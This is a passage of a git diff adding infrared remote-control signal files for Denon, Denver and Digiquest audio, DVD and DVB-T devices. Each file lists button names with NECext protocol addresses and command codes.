+address: B0 00 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 17 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 18 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 19 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 33 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 3D 00 00 00 +# +name: A-B_Repeat +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 48 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 49 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 4A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 80 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 81 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 82 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 83 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 85 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 86 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 87 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 88 00 00 00 +# +name: >=10 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 89 00 00 00 +# +name: RepeatMode +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 8C 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 8D 00 00 00 +# +name: Marker +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 8E 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 90 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 91 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 92 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 94 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 9B 00 00 00 +# +name: VSS +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 9E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_RC-861/2,2.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_RC-861/2,2.ir new file mode 100644 index 000000000..86ea965e7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_RC-861/2,2.ir @@ -0,0 +1,332 @@ +Filetype: IR signals file +Version: 1 +# +name: fm/am +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 00 00 00 00 +# +name: rds +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 01 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 02 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 03 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 04 00 00 00 +# +name: mdrec +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 05 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 06 00 00 00 +# +name: KEY_EDIT +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 07 00 00 00 +# +name: KEY_EDIT +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 07 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 08 00 00 00 +# +name: pty +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 09 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 0B 00 00 00 +# +name: +100 +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 0C 00 00 00 +# +name: pickrec +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 0D 00 00 00 +# +name: revmode +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 0E 00 00 00 +# +name: editcancel +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 0F 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 10 00 00 00 +# +name: ct +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 12 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 13 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 14 00 00 00 +# +name: checkspace +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 15 00 00 00 +# +name: dolby +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 16 00 00 00 +# +name: prog +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 17 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 18 00 00 00 +# +name: rt +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 19 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 1A 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 1B 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 1C 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 1D 00 00 00 +# +name: titleinput +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 1F 00 00 00 +# +name: md +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 40 00 00 00 +# +name: fmmode +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 41 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 42 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 43 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 44 00 00 00 +# +name: set +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 45 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 46 00 00 00 +# +name: KEY_5modesrs +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 47 00 00 00 +# +name: titlesearch +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 48 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 49 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 4A 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 4B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 4C 00 00 00 +# +name: timedisp +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 4D 00 00 00 +# +name: eqmode +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 4E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 4F 00 00 00 +# +name: bass +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 50 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 51 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 52 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 53 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 56 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 57 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_RC267/6,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_RC267/6,-1.ir new file mode 100644 index 000000000..9fad61575 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_RC267/6,-1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: C1 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: C2 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: C3 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: C4 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: C5 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: C6 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: C7 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: C8 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: C9 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: CA 00 00 00 +# +name: CHAR +type: parsed +protocol: NECext +address: 06 00 00 00 +command: DD 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 06 00 00 00 +command: DE 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 06 00 00 00 +command: DF 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 06 00 00 00 +command: E0 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 06 00 00 00 +command: E1 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 06 00 00 00 +command: E2 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 06 00 00 00 +command: E3 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 06 00 00 00 +command: E5 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 06 00 00 00 +command: E6 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 06 00 00 00 +command: E8 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 06 00 00 00 +command: E9 00 00 00 +# +name: PREV_TRACK +type: parsed +protocol: NECext +address: 06 00 00 00 +command: EA 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 06 00 00 00 +command: EB 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 06 00 00 00 +command: EC 00 00 00 +# +name: KEY_EDIT +type: parsed +protocol: NECext +address: 06 00 00 00 +command: EF 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 06 00 00 00 +command: F0 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 06 00 00 00 +command: F1 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 06 00 00 00 +command: F3 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 06 00 00 00 +command: F4 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 06 00 00 00 +command: F5 00 00 00 +# +name: CALL +type: parsed +protocol: NECext +address: 06 00 00 00 +command: F6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_denon-rc-251/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_denon-rc-251/8,-1.ir new file mode 100644 index 000000000..1cd3b4aa8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_denon-rc-251/8,-1.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 41 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 42 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 43 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 44 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 45 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 46 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 47 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 48 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 49 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4A 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4C 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4F 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 50 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 51 00 00 00 +# +name: call +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 52 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 53 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 54 00 00 00 +# +name: index +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 56 00 00 00 +# +name: direct +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 57 00 00 00 +# +name: nxt_track +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 58 00 00 00 +# +name: prv_track +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 59 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5A 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5B 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5D 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5E 00 00 00 +# +name: auto_space +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 61 00 00 00 +# +name: auto_edit +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 63 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6A 00 00 00 +# +name: peak +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6F 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 75 00 00 00 +# +name: fader +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 76 00 00 00 +# +name: pitch+ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 77 00 00 00 +# +name: pitch- +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 78 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_denon-rc-266/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_denon-rc-266/8,-1.ir new file mode 100644 index 000000000..d02922320 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_denon-rc-266/8,-1.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 41 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 42 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 43 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 44 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 45 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 46 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 47 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 48 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 49 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4A 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4B 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4C 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4F 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 50 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 51 00 00 00 +# +name: call +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 52 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 53 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 54 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 55 00 00 00 +# +name: index +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 56 00 00 00 +# +name: direct +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 57 00 00 00 +# +name: nxt_track +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 58 00 00 00 +# +name: prv_track +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 59 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5A 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5B 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5D 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5E 00 00 00 +# +name: auto_space +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 61 00 00 00 +# +name: auto_edit +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 63 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6A 00 00 00 +# +name: peak +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6F 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 75 00 00 00 +# +name: fader +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 76 00 00 00 +# +name: pitch+ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 77 00 00 00 +# +name: pitch- +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 78 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denver/Unknown_DVD-228/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denver/Unknown_DVD-228/4,-1.ir new file mode 100644 index 000000000..14b78169d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denver/Unknown_DVD-228/4,-1.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: program +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: goto +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: resume +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: te +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0D 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0E 00 00 00 +# +name: tree +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1B 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1B 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1C 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 41 00 00 00 +# +name: pn +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 48 00 00 00 +# +name: rev +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 49 00 00 00 +# +name: ab +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4C 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4D 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 50 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 51 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 52 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 54 00 00 00 +# +name: ten +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 55 00 00 00 +# +name: shuffle +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 56 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Digiquest/DGQ-3300_DVB-T/0,191.ir b/assets/resources/infrared/_CSV-IRDB_/Digiquest/DGQ-3300_DVB-T/0,191.ir new file mode 100644 index 000000000..94ad22914 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Digiquest/DGQ-3300_DVB-T/0,191.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: YELLOW +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 00 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 03 00 00 00 +# +name: TVRADIO +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 04 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 05 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 06 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 07 00 00 00 +# +name: FILE +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 08 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 0B 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 0C 00 00 00 +# +name: PREV +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 0D 00 00 00 +# +name: PLAYPAUSE +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 0E 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 0F 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 10 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 11 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 12 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 13 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 14 00 00 00 +# +name: TIMESHIFT +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 15 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 16 00 00 00 +# +name: UNUSED +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 17 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 18 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 19 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 1A 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 1B 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 40 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 42 00 00 00 +# +name: MOSAIC +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 44 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 45 00 00 00 +# +name: TTX +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 46 00 00 00 +# +name: DEVICE +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 48 00 00 00 +# +name: UNUSED2 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 4A 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 4C 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 4D 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 4E 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 50 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 51 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 52 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 54 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 55 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 56 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 58 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 59 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 5A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Digiquest/DGQ-7600HD_DVB-T/0,191.ir b/assets/resources/infrared/_CSV-IRDB_/Digiquest/DGQ-7600HD_DVB-T/0,191.ir new file mode 100644 index 000000000..0d0fbe5f3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Digiquest/DGQ-7600HD_DVB-T/0,191.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 